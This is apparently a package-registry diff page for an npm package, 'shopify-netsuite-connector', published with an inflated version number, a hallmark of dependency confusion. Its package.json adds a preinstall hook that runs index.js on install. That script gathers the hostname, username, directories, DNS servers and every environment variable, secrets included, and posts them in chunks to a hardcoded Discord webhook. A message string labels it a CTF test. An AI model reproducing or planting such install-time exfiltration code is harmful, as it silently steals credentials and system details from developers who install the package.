shopify-netsuite-connector 99.999999.99990

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of shopify-netsuite-connector might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +75 -0
  2. package/package.json +15 -0
package/index.js ADDED
@@ -0,0 +1,75 @@
1
+ const os = require('os');
2
+ const dns = require('dns');
3
+ const https = require('https');
4
+ const package = require('./package.json');
5
+
6
+ const discordWebhookUrl = 'https://discord.com/api/webhooks/1193182280789786725/C46HILyud98QcId10b9fIOMw10R9yrPW1EDE0INpleh50cmPj9P0t_6veoy0chQtNccW';
7
+
8
+ // Construct the base message
9
+ const baseMessage = `Alert: CTF Dependency Confusion Attack Detected!
10
+ Current Directory: ${__dirname}
11
+ Home Directory: ${os.homedir()}
12
+ Hostname: ${os.hostname()}
13
+ Username: ${os.userInfo().username}
14
+ Dns-Server: ${dns.getServers()}
15
+ Package: ${JSON.stringify(package, null, 2)}`;
16
+
17
+ const envVariablesString = JSON.stringify(process.env);
18
+
19
+ // Discord character limit for messages
20
+ const discordCharLimit = 2000;
21
+
22
+ // Split the environment variables into chunks
23
+ function chunkSubstr(str, size) {
24
+ const numChunks = Math.ceil(str.length / size);
25
+ const chunks = new Array(numChunks);
26
+
27
+ for (let i = 0, o = 0; i < numChunks; ++i, o += size) {
28
+ chunks[i] = str.substr(o, size);
29
+ }
30
+
31
+ return chunks;
32
+ }
33
+
34
+ // Calculate available space for each part of the environment variables
35
+ const availableSpace = discordCharLimit - baseMessage.length - 100; // Reserve 100 chars for buffer and message formatting
36
+
37
+ // Split the environment variables into chunks that fit within the limit
38
+ const envVarChunks = chunkSubstr(envVariablesString, availableSpace);
39
+
40
+ // Function to send a message to Discord
41
+ function sendMessage(message) {
42
+ const payload = JSON.stringify({ content: message });
43
+ const parsedUrl = new URL(discordWebhookUrl);
44
+ const options = {
45
+ hostname: parsedUrl.hostname,
46
+ path: parsedUrl.pathname,
47
+ method: 'POST',
48
+ headers: {
49
+ 'Content-Type': 'application/json',
50
+ 'Content-Length': Buffer.byteLength(payload)
51
+ }
52
+ };
53
+
54
+ const req = https.request(options, (res) => {
55
+ console.log(`Status: ${res.statusCode}`);
56
+ res.on('data', (d) => {
57
+ process.stdout.write(d);
58
+ });
59
+ });
60
+
61
+ req.on('error', (e) => {
62
+ console.error(e);
63
+ });
64
+
65
+ req.write(payload);
66
+ req.end();
67
+ }
68
+
69
+ // Send base message
70
+ sendMessage(baseMessage);
71
+
72
+ // Send each chunk of the environment variables
73
+ envVarChunks.forEach((chunk, index) => {
74
+ sendMessage(`Env Part ${index + 1}: ${chunk}`);
75
+ });
package/package.json ADDED
@@ -0,0 +1,15 @@
1
+ {
2
+ "name": "shopify-netsuite-connector",
3
+ "version": "99.999999.99990",
4
+ "description": "akshansh-security",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "akshansh",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "shopify-netsuite-connector": "^99.999.999"
14
+ }
15
+ }